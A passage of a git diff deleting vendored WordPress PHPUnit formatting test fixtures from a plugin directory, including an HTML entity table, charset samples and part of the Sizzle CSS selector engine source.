z{x##l>!50J<~`@Rdk_h<7&`1jhym0ua190rl!```4R@Aa9ja5Peq-xMq|E~i0$2y_ zv^sj%Srl_f1`5+y(OXp6WcJ(6VH?(9iZKm4vNMa{iWvnPUOpaV(drz^rXC{97o&y= zuW-pzxuo`>Qzmm#?@tf0Y$Q#EKzqfWUUCXSscUK6gWThXBOoZbN$(y>9E;Ua&51iQ zQ6Q^)OXds%N1etE0gxk)V;AY3@$?`GJ6n|?Nkm0X$6#2yQZNhP2%rsRi;=Zr+>&F$ zW31Rm z;DoW5X3lEVj}l`%+k_`H&%VyMC`rSwDp&+h3OdXk@;yCXHIlJ;X`*(k>hJRmn!pIc zSGt*+NFko9kNE5P+AxKiFO`op|47L;6JA+ax>;JrnnH)K2lA^FvWwTB^eN_DJXX=tkO!q?hEjV{Sp|({$k? zk2K;_M{qLZBbmiDLn~_1VPR;C@jeB_lP(?e28Pu`XEeZ?IacN5Lh z>Kv>z$c9*1e7&jnM>n#^aBeCzRs)s3ng!)GdQx?@8^kU(kHg~IjLI!!oPa%2mY7i$ z-UgqCB^!H50@d^AjwS8mVEbswx$TU>o0h3t9UFF~*3JUrB`MV8%*o!-NV zl!Q^PdF7{nB@931Xi&$y?sKv_T$kGs2**f6ZD`#c%5w)*($XlsF-*9f%E^OXw4xb@ zwXm$g7IIgvtj#8}D>(u~4rCg>Nq`=pTX{zR=P=twfPXbEfzuE4Pe14yB96BKem)IX z-k-Hhfa?mn(o9gws&@i~+rb{u2)wd-edk^93A0{zj#%WTaWPcteM=sc^5^e71?D0# z7{-)L!irg8E8AjDW|p?D>H2rVXL?d;`*b7Wd&H@*#I9$dzIb^o6MVS^|NC9~%Mte@>o~*YL%c_|)LITA zW`PupByc_P>-I>kH%>9jJ=>oK{2zz(q>N(xukjTZsq0>99?a?k7j5o=E(Q7{kShUW znZw%(tPc;cOg{Z>4NNKWwgD{Br*CUvG{yL8&?Ozdqtm8UVV&=~gN>EosurEQ32f%F zmESfW%ux||3$g{)kh{`NuUsC1GOk&xRXdxGX=~eTT_7&iwrO?9S2t2NXbCiESv@?# zz^0W)yB6E{bTtdR&rj6ZParenv26(4Z2`G_zGNWTX*Y6c3o7we1bibjnO0w}jZ2;a z6$}5O*2xi*g5H0tftv@^wpq=lJT}V1JZ$zaUJ`6B zx$LU{nsCJ&yGhqv_x>n*?mObG|C!?Oy&oO)Oq(s7+I5I{$!+Utu=O6DynMd1-41>M zK`%I|M4}h%1Zn2bey6|Ud#0M!ML>qx;p1P9IpzcZ7c7?2EX^-eu2*Y|OUo;fAAZ(X z8*A$uH=3KDFbk{Q*^aw@nR-ZiyLo7=nlhsUSzJQ~MIRj27}zG$4;Emv!I{U;;m_T}~M{p0iN zdozSq?cev$@1JS;H|uu1HaZppv3MexN@udUe4$t>SE{voqlwaLce=g)U^p62rnC8C zxms@&ZFl>_@pNu<(!V8c_s8?~{(OJ(|AHX}|B+}co=B$BnQSg!D3;2VYOUUAw%VO; zuRj=$#*^u6zF4l-o9%9YIG)az>+Sw{zTThjuU_~AQm8aKgJiPU94?O^Kv9zO1!Y~; ziluS|=~bgvZ)}*&mSsC_>~@IP?ezzKFdU61)7cyVAs9h1oFFNhVL4t9C0S85-7qcN zaXmi>qc};kyeO->X}f+Hr+Hbo)A@3}-5<{v075W=VmLukG{bVdAWE{LYPw-sw&Qw! z5Jqv5W_eLob<=kJFi!KbZu@aw_w#-~5P}gD!wHh28J6P(QIZu^(+$(I9oO@NFp85j z%bWP10IIrayM7p_d0DspIIsJ8KUl>;7pu+gFr6;9$LsSG`&}l)luK=WnwNFkkIVJE z-5<}_+xy3-&tJYu?RJRQ?KKUkjURLyPnrod>3JX+3P+-`xU8*II+M-i3&m2oQmxe+ zO-!{N+gR8-JL=TylB8W4dKcZjzGf}mHTD>dC)3${vGl!KZ??Pr;RrtT+(4ml+Y`)a zI9MN*LBT7R@!a92%-xq)G%E)!UOGGW!mNq;lg9i-dmN@0`K<`u1TeTd7v06g5n05fYO?4U_UR`pb(9 zFOIhvp8aj05?a-_v}}&u=vy3}q%Y zNEtQ&^B-dacjFFg?l<&=**r8G8!8?$8v_5Ybf{0gfjxHx=aF)$rW5|GPEArZo0vK> z(*e-9@zjLLCN)d8HJ#DWt$W3v&1cZEIkVwBv}_Lc17u!Hy%8IJKb>orvJIQhJF{-Q zl$2icl2Z@wr9TYX)aLwhRs^Nj;<{Gla6sMcRb*X0a z2UpXJ_)9rlqUqWdmHB^t6lqx-m&Sw^ophz4$jR?F*nNl)j5$!DghZ51Dx;gafoS_0 zlGEj6Sjc4+*ZdrDJsK9cZQXY{%Euw^>AQFU31HuW@u>NmYUsfNndvn0j~hrA?ss@l zU%p>gxb*F1(A^a=uK$3`h`fn5WJ=o(-V9DA!3J-nrRN2Aj~bas?)tSeD7PX|`j!M$ zEn$gn^L3I5MI4}Ks?L!Zl?Fp~=!1927AQGcAqTT^BgVS{uhxb(J0nPR$!px7N_?YD%q+OfBU7iMGeK}DJ(n2@)i&4;j=PXSzHvNl{U6y;LQ;bCSE~v2O*U<_TXM>Z)~mD zv>+D~kFxa;A(b|^^p;XeDP_wVG+LeBU^EqPrIb=iDW#NBN-3?i)>><=wboi|V~jDz znEiP$2A5XdULPBbrs8g`wbokOwgGLOthLrU=bUrSIp>^nF7BoT0EjU0DC0sZZEOLA zu)|X^$u@UFWIkQZbon#>DZNI!%Rgbd>kuw~y&J-7x*F0t9uqRTLa9<~v^u@PXo@*| zPRQg6rAn>Q>huPqDdrqFA(JbVDz!$d(;JMYm~-TWOs-I>)Ecc$Z!nr-&WRH;xk9N@ zYqUDO!Dxy(XMQc{de!dSqiWeJT%}5_S#ds@3l66le?aCgM3{J#aUr7;;Zyu2w4D}L zaJT2~6z2r~zq6usi)nmtRcU3-fp0Kwt;3b*9vv-6zfpM?7o*n@Z;OH*bJchHE=~jD zQO3mw=jUXBmgs(id>pghd||DT@1_#;Gt@k-pLJ(W`5EX&5X4{951T{oaNruUL6qC= zxFy{z<`Wku^cW`%?rDEHcsDcY-ZU3ya~~5jc~_{{nV!TWbKJpsl+ia{l3MOvrQw4w=g636mM+GLey0#xvqF zTQXeM>xk>4VnSD53{ryc4g6os2Qka|-pe(Tv#*sKJ0vy_u(8QPWVZ?e8-D|2!)Nd; cLTeva_0ByU?EX`n?D0G<=4_SAXtMwS0CZ8%!~g&Q diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/big5.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/big5.txt deleted file mode 100644 index e599bb28..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/big5.txt +++ /dev/null @@ -1,5 +0,0 @@ -ª©¥» -¤ÀÃþ -Àô¹Ò -©Ê½è -­º­¶ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/entities.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/entities.txt deleted file mode 100644 index 358a9b8a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/entities.txt +++ /dev/null @@ -1,255 +0,0 @@ -### Named HTML character entities, their numeric reference -### (e.g. for &#[0-9]+; entity form), and their use. -### From: http://www.w3.org/TR/html401/sgml/entities.html -### -nbsp | 160 ### no-break space -iexcl | 161 ### inverted exclamation mark -cent | 162 ### cent sign -pound | 163 ### pound sterling sign -curren | 164 ### general currency sign -yen | 165 ### yen sign -brvbar | 166 ### broken (vertical) bar -sect | 167 ### section sign -uml | 168 ### umlaut (dieresis) -copy | 169 ### copyright sign -ordf | 170 ### ordinal indicator, feminine -laquo | 171 ### angle quotation mark, left -not | 172 ### not sign -shy | 173 ### soft hyphen -reg | 174 ### registered sign -macr | 175 ### macron -deg | 176 ### degree sign -plusmn | 177 ### plus-or-minus sign -sup2 | 178 ### superscript two -sup3 | 179 ### superscript three -acute | 180 ### acute accent -micro | 181 ### micro sign -para | 182 ### pilcrow (paragraph sign) -middot | 183 ### middle dot -cedil | 184 ### cedilla -sup1 | 185 ### superscript one -ordm | 186 ### ordinal indicator, masculine -raquo | 187 ### angle quotation mark, right -frac14 | 188 ### fraction one-quarter -frac12 | 189 ### fraction one-half -frac34 | 190 ### fraction three-quarters -iquest | 191 ### inverted question mark -Agrave | 192 ### capital A, grave accent -Aacute | 193 ### capital A, acute accent -Acirc | 194 ### capital A, circumflex accent -Atilde | 195 ### capital A, tilde -Auml | 196 ### capital A, dieresis or umlaut mark -Aring | 197 ### capital A, ring -AElig | 198 ### capital AE diphthong (ligature) -Ccedil | 199 ### capital C, cedilla -Egrave | 200 ### capital E, grave accent -Eacute | 201 ### capital E, acute accent -Ecirc | 202 ### capital E, circumflex accent -Euml | 203 ### capital E, dieresis or umlaut mark -Igrave | 204 ### capital I, grave accent -Iacute | 205 ### capital I, acute accent -Icirc | 206 ### capital I, circumflex accent -Iuml | 207 ### capital I, dieresis or umlaut mark -ETH | 208 ### capital Eth, Icelandic -Ntilde | 209 ### capital N, tilde -Ograve | 210 ### capital O, grave accent -Oacute | 211 ### capital O, acute accent -Ocirc | 212 ### capital O, circumflex accent -Otilde | 213 ### capital O, tilde -Ouml | 214 ### capital O, dieresis or umlaut mark -times | 215 ### multiply sign -Oslash | 216 ### capital O, slash -Ugrave | 217 ### capital U, grave accent -Uacute | 218 ### capital U, acute accent -Ucirc | 219 ### capital U, circumflex accent -Uuml | 220 ### capital U, dieresis or umlaut mark -Yacute | 221 ### capital Y, acute accent -THORN | 222 ### capital THORN, Icelandic -szlig | 223 ### small sharp s, German (sz ligature) -agrave | 224 ### small a, grave accent -aacute | 225 ### small a, acute accent -acirc | 226 ### small a, circumflex accent -atilde | 227 ### small a, tilde -auml | 228 ### small a, dieresis or umlaut mark -aring | 229 ### small a, ring -aelig | 230 ### small ae diphthong (ligature) -ccedil | 231 ### small c, cedilla -egrave | 232 ### small e, grave accent -eacute | 233 ### small e, acute accent -ecirc | 234 ### small e, circumflex accent -euml | 235 ### small e, dieresis or umlaut mark -igrave | 236 ### small i, grave accent -iacute | 237 ### small i, acute accent -icirc | 238 ### small i, circumflex accent -iuml | 239 ### small i, dieresis or umlaut mark -eth | 240 ### small eth, Icelandic -ntilde | 241 ### small n, tilde -ograve | 242 ### small o, grave accent -oacute | 243 ### small o, acute accent -ocirc | 244 ### small o, circumflex accent -otilde | 245 ### small o, tilde -ouml | 246 ### small o, dieresis or umlaut mark -divide | 247 ### divide sign -oslash | 248 ### small o, slash -ugrave | 249 ### small u, grave accent -uacute | 250 ### small u, acute accent -ucirc | 251 ### small u, circumflex accent -uuml | 252 ### small u, dieresis or umlaut mark -yacute | 253 ### small y, acute accent -thorn | 254 ### small thorn, Icelandic -yuml | 255 ### small y, dieresis or umlaut mark -fnof | 402 ### latin small f with hook, =function, =florin, u+0192 ISOtech -Alpha | 913 ### greek capital letter alpha, u+0391 -Beta | 914 ### greek capital letter beta, u+0392 -Gamma | 915 ### greek capital letter gamma, u+0393 ISOgrk3 -Delta | 916 ### greek capital letter delta, u+0394 ISOgrk3 -Epsilon | 917 ### greek capital letter epsilon, u+0395 -Zeta | 918 ### greek capital letter zeta, u+0396 -Eta | 919 ### greek capital letter eta, u+0397 -Theta | 920 ### greek capital letter theta, u+0398 ISOgrk3 -Iota | 921 ### greek capital letter iota, u+0399 -Kappa | 922 ### greek capital letter kappa, u+039A -Lambda | 923 ### greek capital letter lambda, u+039B ISOgrk3 -Mu | 924 ### greek capital letter mu, u+039C -Nu | 925 ### greek capital letter nu, u+039D -Xi | 926 ### greek capital letter xi, u+039E ISOgrk3 -Omicron | 927 ### greek capital letter omicron, u+039F -Pi | 928 ### greek capital letter pi, u+03A0 ISOgrk3 -Rho | 929 ### greek capital letter rho, u+03A1 -Sigma | 931 ### greek capital letter sigma, u+03A3 ISOgrk3 -Tau | 932 ### greek capital letter tau, u+03A4 -Upsilon | 933 ### greek capital letter upsilon, u+03A5 ISOgrk3 -Phi | 934 ### greek capital letter phi, u+03A6 ISOgrk3 -Chi | 935 ### greek capital letter chi, u+03A7 -Psi | 936 ### greek capital letter psi, u+03A8 ISOgrk3 -Omega | 937 ### greek capital letter omega, u+03A9 ISOgrk3 -alpha | 945 ### greek small letter alpha, u+03B1 ISOgrk3 -beta | 946 ### greek small letter beta, u+03B2 ISOgrk3 -gamma | 947 ### greek small letter gamma, u+03B3 ISOgrk3 -delta | 948 ### greek small letter delta, u+03B4 ISOgrk3 -epsilon | 949 ### greek small letter epsilon, u+03B5 ISOgrk3 -zeta | 950 ### greek small letter zeta, u+03B6 ISOgrk3 -eta | 951 ### greek small letter eta, u+03B7 ISOgrk3 -theta | 952 ### greek small letter theta, u+03B8 ISOgrk3 -iota | 953 ### greek small letter iota, u+03B9 ISOgrk3 -kappa | 954 ### greek small letter kappa, u+03BA ISOgrk3 -lambda | 955 ### greek small letter lambda, u+03BB ISOgrk3 -mu | 956 ### greek small letter mu, u+03BC ISOgrk3 -nu | 957 ### greek small letter nu, u+03BD ISOgrk3 -xi | 958 ### greek small letter xi, u+03BE ISOgrk3 -omicron | 959 ### greek small letter omicron, u+03BF NEW -pi | 960 ### greek small letter pi, u+03C0 ISOgrk3 -rho | 961 ### greek small letter rho, u+03C1 ISOgrk3 -sigmaf | 962 ### greek small letter final sigma, u+03C2 ISOgrk3 -sigma | 963 ### greek small letter sigma, u+03C3 ISOgrk3 -tau | 964 ### greek small letter tau, u+03C4 ISOgrk3 -upsilon | 965 ### greek small letter upsilon, u+03C5 ISOgrk3 -phi | 966 ### greek small letter phi, u+03C6 ISOgrk3 -chi | 967 ### greek small letter chi, u+03C7 ISOgrk3 -psi | 968 ### greek small letter psi, u+03C8 ISOgrk3 -omega | 969 ### greek small letter omega, u+03C9 ISOgrk3 -thetasym| 977 ### greek small letter theta symbol, u+03D1 NEW -upsih | 978 ### greek upsilon with hook symbol, u+03D2 NEW -piv | 982 ### greek pi symbol, u+03D6 ISOgrk3 -bull | 8226 ### bullet, =black small circle, u+2022 ISOpub -hellip | 8230 ### horizontal ellipsis, =three dot leader, u+2026 ISOpub -prime | 8242 ### prime, =minutes, =feet, u+2032 ISOtech -Prime | 8243 ### double prime, =seconds, =inches, u+2033 ISOtech -oline | 8254 ### overline, =spacing overscore, u+203E NEW -frasl | 8260 ### fraction slash, u+2044 NEW -weierp | 8472 ### script capital P, =power set, =Weierstrass p, u+2118 ISOamso -image | 8465 ### blackletter capital I, =imaginary part, u+2111 ISOamso -real | 8476 ### blackletter capital R, =real part symbol, u+211C ISOamso -trade | 8482 ### trade mark sign, u+2122 ISOnum -alefsym | 8501 ### alef symbol, =first transfinite cardinal, u+2135 NEW -larr | 8592 ### leftwards arrow, u+2190 ISOnum -uarr | 8593 ### upwards arrow, u+2191 ISOnum -rarr | 8594 ### rightwards arrow, u+2192 ISOnum -darr | 8595 ### downwards arrow, u+2193 ISOnum -harr | 8596 ### left right arrow, u+2194 ISOamsa -crarr | 8629 ### downwards arrow with corner leftwards, =carriage return, u+21B5 NEW -lArr | 8656 ### leftwards double arrow, u+21D0 ISOtech -uArr | 8657 ### upwards double arrow, u+21D1 ISOamsa -rArr | 8658 ### rightwards double arrow, u+21D2 ISOtech -dArr | 8659 ### downwards double arrow, u+21D3 ISOamsa -hArr | 8660 ### left right double arrow, u+21D4 ISOamsa -forall | 8704 ### for all, u+2200 ISOtech -part | 8706 ### partial differential, u+2202 ISOtech -exist | 8707 ### there exists, u+2203 ISOtech -empty | 8709 ### empty set, =null set, =diameter, u+2205 ISOamso -nabla | 8711 ### nabla, =backward difference, u+2207 ISOtech -isin | 8712 ### element of, u+2208 ISOtech -notin | 8713 ### not an element of, u+2209 ISOtech -ni | 8715 ### contains as member, u+220B ISOtech -prod | 8719 ### n-ary product, =product sign, u+220F ISOamsb -sum | 8721 ### n-ary sumation, u+2211 ISOamsb -minus | 8722 ### minus sign, u+2212 ISOtech -lowast | 8727 ### asterisk operator, u+2217 ISOtech -radic | 8730 ### square root, =radical sign, u+221A ISOtech -prop | 8733 ### proportional to, u+221D ISOtech -infin | 8734 ### infinity, u+221E ISOtech -ang | 8736 ### angle, u+2220 ISOamso -and | 8743 ### logical and, =wedge, u+2227 ISOtech -or | 8744 ### logical or, =vee, u+2228 ISOtech -cap | 8745 ### intersection, =cap, u+2229 ISOtech -cup | 8746 ### union, =cup, u+222A ISOtech -int | 8747 ### integral, u+222B ISOtech -there4 | 8756 ### therefore, u+2234 ISOtech -sim | 8764 ### tilde operator, =varies with, =similar to, u+223C ISOtech -cong | 8773 ### approximately equal to, u+2245 ISOtech -asymp | 8776 ### almost equal to, =asymptotic to, u+2248 ISOamsr -ne | 8800 ### not equal to, u+2260 ISOtech -equiv | 8801 ### identical to, u+2261 ISOtech -le | 8804 ### less-than or equal to, u+2264 ISOtech -ge | 8805 ### greater-than or equal to, u+2265 ISOtech -sub | 8834 ### subset of, u+2282 ISOtech -sup | 8835 ### superset of, u+2283 ISOtech -nsub | 8836 ### not a subset of, u+2284 ISOamsn -sube | 8838 ### subset of or equal to, u+2286 ISOtech -supe | 8839 ### superset of or equal to, u+2287 ISOtech -oplus | 8853 ### circled plus, =direct sum, u+2295 ISOamsb -otimes | 8855 ### circled times, =vector product, u+2297 ISOamsb -perp | 8869 ### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech -sdot | 8901 ### dot operator, u+22C5 ISOamsb -lceil | 8968 ### left ceiling, =apl upstile, u+2308, ISOamsc -rceil | 8969 ### right ceiling, u+2309, ISOamsc -lfloor | 8970 ### left floor, =apl downstile, u+230A, ISOamsc -rfloor | 8971 ### right floor, u+230B, ISOamsc -lang | 9001 ### left-pointing angle bracket, =bra, u+2329 ISOtech -rang | 9002 ### right-pointing angle bracket, =ket, u+232A ISOtech -loz | 9674 ### lozenge, u+25CA ISOpub -spades | 9824 ### black spade suit, u+2660 ISOpub -clubs | 9827 ### black club suit, =shamrock, u+2663 ISOpub -hearts | 9829 ### black heart suit, =valentine, u+2665 ISOpub -diams | 9830 ### black diamond suit, u+2666 ISOpub -quot | 34 ### quotation mark, =apl quote, u+0022 ISOnum -amp | 38 ### ampersand, u+0026 ISOnum -lt | 60 ### less-than sign, u+003C ISOnum -gt | 62 ### greater-than sign, u+003E ISOnum -OElig | 338 ### latin capital ligature oe, u+0152 ISOlat2 -oelig | 339 ### latin small ligature oe, u+0153 ISOlat2 -Scaron | 352 ### latin capital letter s with caron, u+0160 ISOlat2 -scaron | 353 ### latin small letter s with caron, u+0161 ISOlat2 -Yuml | 376 ### latin capital letter y with diaeresis, u+0178 ISOlat2 -circ | 710 ### modifier letter circumflex accent, u+02C6 ISOpub -tilde | 732 ### small tilde, u+02DC ISOdia -ensp | 8194 ### en space, u+2002 ISOpub -emsp | 8195 ### em space, u+2003 ISOpub -thinsp | 8201 ### thin space, u+2009 ISOpub -zwnj | 8204 ### zero width non-joiner, u+200C NEW RFC 2070 -zwj | 8205 ### zero width joiner, u+200D NEW RFC 2070 -lrm | 8206 ### left-to-right mark, u+200E NEW RFC 2070 -rlm | 8207 ### right-to-left mark, u+200F NEW RFC 2070 -ndash | 8211 ### en dash, u+2013 ISOpub -mdash | 8212 ### em dash, u+2014 ISOpub -lsquo | 8216 ### left single quotation mark, u+2018 ISOnum -rsquo | 8217 ### right single quotation mark, u+2019 ISOnum -sbquo | 8218 ### single low-9 quotation mark, u+201A NEW -ldquo | 8220 ### left double quotation mark, u+201C ISOnum -rdquo | 8221 ### right double quotation mark, u+201D ISOnum -bdquo | 8222 ### double low-9 quotation mark, u+201E NEW -dagger | 8224 ### dagger, u+2020 ISOpub -Dagger | 8225 ### double dagger, u+2021 ISOpub -permil | 8240 ### per mille sign, u+2030 ISOtech -lsaquo | 8249 ### single left-pointing angle quotation mark; proposed but not yet standardised -rsaquo | 8250 ### single right-pointing angle quotation mark; proposed but not yet standardised diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/file-header-cr-line-endings.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/file-header-cr-line-endings.php deleted file mode 100644 index aebe7c5e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/file-header-cr-line-endings.php +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/remove_accents.01.input.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/remove_accents.01.input.txt deleted file mode 100644 index 09da6827..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/remove_accents.01.input.txt +++ /dev/null @@ -1 +0,0 @@ -€ƒŠŽšžŸ¢¥µÀÁÂÃÄÅÇÈÉÊËÌÍÎÏÑÒÓÔÕÖØÙÚÛÜÝàáâãäåçèéêëìíîïñòóôõöøùúûüýÿŒœÆÐÞßæðþ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/sizzle.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/sizzle.js deleted file mode 100644 index 6816c435..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/sizzle.js +++ /dev/null @@ -1,1445 +0,0 @@ -/*! - * Sizzle CSS Selector Engine - * Copyright 2011, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * More information: http://sizzlejs.com/ - */ -(function(){ - -var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, - expando = "sizcache" + (Math.random() + '').replace('.', ''), - done = 0, - toString = Object.prototype.toString, - hasDuplicate = false, - baseHasDuplicate = true, - rBackslash = /\\/g, - rReturn = /\r\n/g, - rNonWord = /\W/; - -// Here we check if the JavaScript engine is using some sort of -// optimization where it does not always call our comparision -// function. If that is the case, discard the hasDuplicate value. -// Thus far that includes Google Chrome. -[0, 0].sort(function() { - baseHasDuplicate = false; - return 0; -}); - -var Sizzle = function( selector, context, results, seed ) { - results = results || []; - context = context || document; - - var origContext = context; - - if ( context.nodeType !== 1 && context.nodeType !== 9 ) { - return []; - } - - if ( !selector || typeof selector !== "string" ) { - return results; - } - - var m, set, checkSet, extra, ret, cur, pop, i, - prune = true, - contextXML = Sizzle.isXML( context ), - parts = [], - soFar = selector; - - // Reset the position of the chunker regexp (start from head) - do { - chunker.exec( "" ); - m = chunker.exec( soFar ); - - if ( m ) { - soFar = m[3]; - - parts.push( m[1] ); - - if ( m[2] ) { - extra = m[3]; - break; - } - } - } while ( m ); - - if ( parts.length > 1 && origPOS.exec( selector ) ) { - - if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { - set = posProcess( parts[0] + parts[1], context, seed ); - - } else { - set = Expr.relative[ parts[0] ] ? - [ context ] : - Sizzle( parts.shift(), context ); - - while ( parts.length ) { - selector = parts.shift(); - - if ( Expr.relative[ selector ] ) { - selector += parts.shift(); - } - - set = posProcess( selector, set, seed ); - } - } - - } else { - // Take a shortcut and set the context if the root selector is an ID - // (but not if it'll be faster if the inner selector is an ID) - if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && - Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { - - ret = Sizzle.find( parts.shift(), context, contextXML ); - context = ret.expr ? - Sizzle.filter( ret.expr, ret.set )[0] : - ret.set[0]; - } - - if ( context ) { - ret = seed ? - { expr: parts.pop(), set: makeArray(seed) } : - Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); - - set = ret.expr ? - Sizzle.filter( ret.expr, ret.set ) : - ret.set; - - if ( parts.length > 0 ) { - checkSet = makeArray( set ); - - } else { - prune = false; - } - - while ( parts.length ) { - cur = parts.pop(); - pop = cur; - - if ( !Expr.relative[ cur ] ) { - cur = ""; - } else { - pop = parts.pop(); - } - - if ( pop == null ) { - pop = context; - } - - Expr.relative[ cur ]( checkSet, pop, contextXML ); - } - - } else { - checkSet = parts = []; - } - } - - if ( !checkSet ) { - checkSet = set; - } - - if ( !checkSet ) { - Sizzle.error( cur || selector ); - } - - if ( toString.call(checkSet) === "[object Array]" ) { - if ( !prune ) { - results.push.apply( results, checkSet ); - - } else if ( context && context.nodeType === 1 ) { - for ( i = 0; checkSet[i] != null; i++ ) { - if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { - results.push( set[i] ); - } - } - - } else { - for ( i = 0; checkSet[i] != null; i++ ) { - if ( checkSet[i] && checkSet[i].nodeType === 1 ) { - results.push( set[i] ); - } - } - } - - } else { - makeArray( checkSet, results ); - } - - if ( extra ) { - Sizzle( extra, origContext, results, seed ); - Sizzle.uniqueSort( results ); - } - - return results; -}; - -Sizzle.uniqueSort = function( results ) { - if ( sortOrder ) { - hasDuplicate = baseHasDuplicate; - results.sort( sortOrder ); - - if ( hasDuplicate ) { - for ( var i = 1; i < results.length; i++ ) { - if ( results[i] === results[ i - 1 ] ) { - results.splice( i--, 1 ); - } - } - } - } - - return results; -}; - -Sizzle.matches = function( expr, set ) { - return Sizzle( expr, null, null, set ); -}; - -Sizzle.matchesSelector = function( node, expr ) { - return Sizzle( expr, null, null, [node] ).length > 0; -}; - -Sizzle.find = function( expr, context, isXML ) { - var set, i, len, match, type, left; - - if ( !expr ) { - return []; - } - - for ( i = 0, len = Expr.order.length; i < len; i++ ) { - type = Expr.order[i]; - - if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { - left = match[1]; - match.splice( 1, 1 ); - - if ( left.substr( left.length - 1 ) !== "\\" ) { - match[1] = (match[1] || "").replace( rBackslash, "" ); - set = Expr.find[ type ]( match, context, isXML ); - - if ( set != null ) { - expr = expr.replace( Expr.match[ type ], "" ); - break; - } - } - } - } - - if ( !set ) { - set = typeof context.getElementsByTagName !== "undefined" ? - context.getElementsByTagName( "*" ) : - []; - } - - return { set: set, expr: expr }; -}; - -Sizzle.filter = function( expr, set, inplace, not ) { - var match, anyFound, - type, found, item, filter, left, - i, pass, - old = expr, - result = [], - curLoop = set, - isXMLFilter = set && set[0] && Sizzle.isXML( set[0] ); - - while ( expr && set.length ) { - for ( type in Expr.filter ) { - if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { - filter = Expr.filter[ type ]; - left = match[1]; - - anyFound = false; - - match.splice(1,1); - - if ( left.substr( left.length - 1 ) === "\\" ) { - continue; - } - - if ( curLoop === result ) { - result = []; - } - - if ( Expr.preFilter[ type ] ) { - match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); - - if ( !match ) { - anyFound = found = true; - - } else if ( match === true ) { - continue; - } - } - - if ( match ) { - for ( i = 0; (item = curLoop[i]) != null; i++ ) { - if ( item ) { - found = filter( item, match, i, curLoop ); - pass = not ^ found; - - if ( inplace && found != null ) { - if ( pass ) { - anyFound = true; - - } else { - curLoop[i] = false; - } - - } else if ( pass ) { - result.push( item ); - anyFound = true; - } - } - } - } - - if ( found !== undefined ) { - if ( !inplace ) { - curLoop = result; - } - - expr = expr.replace( Expr.match[ type ], "" ); - - if ( !anyFound ) { - return []; - } - - break; - } - } - } - - // Improper expression - if ( expr === old ) { - if ( anyFound == null ) { - Sizzle.error( expr ); - - } else { - break; - } - } - - old = expr; - } - - return curLoop; -}; - -Sizzle.error = function( msg ) { - throw new Error( "Syntax error, unrecognized expression: " + msg ); -}; - -/** - * Utility function for retreiving the text value of an array of DOM nodes - * @param {Array|Element} elem - */ -var getText = Sizzle.getText = function( elem ) { - var i, node, - nodeType = elem.nodeType, - ret = ""; - - if ( nodeType ) { - if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { - // Use textContent || innerText for elements - if ( typeof elem.textContent === 'string' ) { - return elem.textContent; - } else if ( typeof elem.innerText === 'string' ) { - // Replace IE's carriage returns - return elem.innerText.replace( rReturn, '' ); - } else { - // Traverse it's children - for ( elem = elem.firstChild; elem; elem = elem.nextSibling) { - ret += getText( elem ); - } - } - } else if ( nodeType === 3 || nodeType === 4 ) { - return elem.nodeValue; - } - } else { - - // If no nodeType, this is expected to be an array - for ( i = 0; (node = elem[i]); i++ ) { - // Do not traverse comment nodes - if ( node.nodeType !== 8 ) { - ret += getText( node ); - } - } - } - return ret; -}; - -var Expr = Sizzle.selectors = { - order: [ "ID", "NAME", "TAG" ], - - match: { - ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, - CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, - NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, - ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/, - TAG: 